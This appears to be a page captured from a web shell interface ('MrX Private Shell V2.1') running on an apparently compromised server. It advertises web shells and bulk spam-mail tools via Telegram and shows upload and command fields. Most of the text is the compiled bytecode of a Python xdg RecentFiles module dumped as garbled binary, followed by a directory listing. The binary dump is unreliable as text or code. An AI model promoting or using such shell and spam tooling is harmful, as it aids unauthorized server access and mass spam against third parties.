__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�u�c*��d�SrSSKrSSKrSSKrSSKrSSKrSSKJr "SS5r	"SS5r
g)zo
Implementation of the XDG Recent File Storage Specification
http://standards.freedesktop.org/recent-file-spec
�N)�ParsingErrorc�T�\rSrSrSrSSjrSrSSjrS
SjrSSjr	S	r
S
rSrg)�RecentFiles�
c� �/UlSUlg)N��r�filename��selfs �1/usr/lib/python3/dist-packages/xdg/RecentFiles.py�__init__�RecentFiles.__init__s�������
�Nc��U(d4[RR[R"S5S5n[R
RRU5nXl
URH�nUR[R
R R":XdM7UR$S:XdMIURHZnUR[R
R R":XdM7UR$S:XdMIUR'U5 M\ M� UR)5 g![a
 [SU5e[RRRa
 [SU5ef=f)zQParse a list of recently used files.

filename defaults to ``~/.recently-used``.
�HOMEz.recently-used�File not foundzNot a valid .menu filer�
RecentItemN)�os�path�join�getenv�xml�dom�minidom�parse�IOErrorr�parsers�expat�
ExpatErrorr
�
childNodes�nodeType�Node�ELEMENT_NODE�tagName�_RecentFiles__parseRecentItem�sort)rr
�doc�child�recents     r
r�RecentFiles.parses��
��w�w�|�|�B�I�I�f�$5�7G�H�H�	C��'�'�/�/�'�'��1�C�!�
��^�^�E��~�~������!:�!:�:��=�=�M�1�"'�"2�"2��!�?�?�c�g�g�l�l�.G�.G�G�%�~�~��=� $� 6� 6�v� >�#3�$�	
�	�	����	;��/��:�:��{�{� � �+�+�	C��7��B�B�	C�s�)E�A
F
c�~�[5nURRU5 URGH�nUR[
RRR:XdM8URS:Xa URSRUlMhURS:Xa URSRUlM�URS:Xa)[URSR5UlM�URS:Xa	SUlM�URS:XdM�URH{nUR[
RRR:XdM7URS:XdMIUR RURSR5 M} GM� g)	N�URIrz	Mime-Type�	Timestamp�PrivateT�Groups�Group)�
RecentFiler�appendr!r"rrr#r$r%�	nodeValuer-�MimeType�intr.�Prviater0)r�itemr*�	attribute�groups     r
�__parseRecentItem�RecentFiles.__parseRecentItem*s;�����������'����I��!�!�S�W�W�\�\�%>�%>�>��$�$��-�!*�!5�!5�a�!8�!B�!B�F�J��&�&�+�5�&/�&:�&:�1�&=�&G�&G�F�O��&�&�+�5�'*�9�+?�+?��+B�+L�+L�'M�F�$��&�&�)�3�%)�F�N��&�&�(�2�!*�!5�!5�� �>�>�S�W�W�\�\�-F�-F�F�$�}�}��7� &�
�
� 4� 4�U�5E�5E�a�5H�5R�5R� S�"6�)rc�.�U(dUR(d[SU5eU(dURn[US5n[R"U[R
5 UR
S5 UR
S5 URGH*nUR
S5 UR
S[RRRUR5-5 UR
SUR-5 UR
SUR-5 URS	:XaUR
S
5 [!UR"5S:�aIUR
S5 UR"HnUR
S
U-5 M UR
S5 UR
S5 GM- UR
S5 [R"U[R$5 SSS5 g!,(df   g=f)z�Write the list of recently used files to disk.

If the instance is already associated with a file, filename can be
omitted to save it there again.
r�wz<?xml version="1.0"?>
z<RecentFiles>
z  <RecentItem>
z    <URI>%s</URI>
z    <Mime-Type>%s</Mime-Type>
z    <Timestamp>%s</Timestamp>
Tz    <Private/>
rz
    <Groups>
z      <Group>%s</Group>
z    </Groups>
z  </RecentItem>
z</RecentFiles>
N)r
r�open�fcntl�lockf�LOCK_EX�writerr�sax�saxutils�escaper-r5r.r/�lenr0�LOCK_UN)rr
�f�rr:s     r
rC�RecentFiles.write?sp����
�
��/��:�:���}�}�H�
�(�C�
 �A��K�K��5�=�=�)�
�G�G�-�.�
�G�G�%�&��%�%�����*�+����-����0@�0@�0G�0G����0N�N�O����9�A�J�J�F�G����9�A�K�K�G�H��9�9��$��G�G�.�/��q�x�x�=�1�$��G�G�,�-�!"������� ;�e� C�D�"*��G�G�-�.����+�,�&�
�G�G�&�'��K�K��5�=�=�)�)!�
 �
 �s
�F9H�
Hc��/nSnURH�nU(a1UH*nXvR;dMURU5 US-
nM, O^U(a1UH*nX�R:XdMURU5 US-
nM, O&URS:XaURU5 US-
nUS:wdM�XS:XdM� U$ U$)z�Get a list of recently used files.

The parameters can be used to filter by mime types, by group, or to
limit the number of items returned. By default, the entire list is
returned, except for items marked private.
r�F)rr0r3r5r/)	r�	mimetypes�groups�limit�tmp�ir8r:�mimetypes	         r
�getFiles�RecentFiles.getFiles`s�����
���$�$�D��#�E����+��
�
�4�(��Q���$�� )�H��=�=�0��
�
�4�(��Q���!*�
�<�<�5�(��J�J�t�$���F�A���z�a�j���
�%%�$�
rc���XR;a+URRU5nURUnOX[UR5S:XaURR5 [	5nURRU5 XlX&l[[R"55Ul
XFlU(aX6lUR5 g)zeAdd a recently used file.

item should be the URI of the file, typically starting with ``file:///``.
i�N)r�indexrG�popr2r3r-r5r6�timer.r/r0r')rr8rSrO�privaterWr*s       r
�addFile�RecentFiles.addFile}s����#�#�#��$�$�*�*�4�0�E��%�%�e�,�F��4�#�#�$��+�� � �$�$�&��\�F����#�#�F�+��
�"���t�y�y�{�+��� ���"�M��	�	�rc�Z�XR;aURRU5 gg)z<Remove a recently used file, by URI, from the list.
        N)r�remove)rr8s  r
�
deleteFile�RecentFiles.deleteFile�s)���#�#�#����#�#�D�)�$rc�l�URR5 URR5 g�N)rr'�reversers r
r'�RecentFiles.sort�s&����������� � �"rr	rb)NNr)NF)
�__name__�
__module__�__qualname__�__firstlineno__rrr&rCrTr[r_r'�__static_attributes__�rr
rr
s,����6T�**�B�:�4*�#rrc�2�\rSrSrSrSrSrSrSrSr	g)	r2�c�J�SUlSUlSUlSUl/Ulg)NrF)r-r5r.r/r0rs r
r�RecentFile.__init__�s%�������
���������rc�B�[URUR5$rb)�cmpr.�r�others  r
�__cmp__�RecentFile.__cmp__�s���4�>�>�5�?�?�3�3rc�4�URUR:$rb)r.rqs  r
�__lt__�RecentFile.__lt__�s���~�~����/�/rc�2�UR[U5:H$rb)r-�strrqs  r
�__eq__�RecentFile.__eq__�s���x�x�3�u�:�%�%rc��UR$rb)r-rs r
�__str__�RecentFile.__str__�s���x�x�r)r0r5r/r.r-N)
rerfrgrhrrsrvrzr}rirjrr
r2r2�s���4�0�&�rr2)�__doc__�xml.dom.minidomr�xml.sax.saxutilsrrYr@�xdg.Exceptionsrrr2rjrr
�<module>r�s/���
)���'�U#�U#�p�r

Filemanager

Name Type Size Permission Actions
BaseDirectory.cpython-313.pyc File 8.89 KB 0644
Config.cpython-313.pyc File 1.42 KB 0644
DesktopEntry.cpython-313.pyc File 25.28 KB 0644
Exceptions.cpython-313.pyc File 4.62 KB 0644
IconTheme.cpython-313.pyc File 23.22 KB 0644
IniFile.cpython-313.pyc File 17.07 KB 0644
Locale.cpython-313.pyc File 2.32 KB 0644
Menu.cpython-313.pyc File 55.46 KB 0644
MenuEditor.cpython-313.pyc File 26.44 KB 0644
Mime.cpython-313.pyc File 35.72 KB 0644
RecentFiles.cpython-313.pyc File 9.58 KB 0644
__init__.cpython-313.pyc File 2.11 KB 0644
util.cpython-313.pyc File 3.25 KB 0644
Filemanager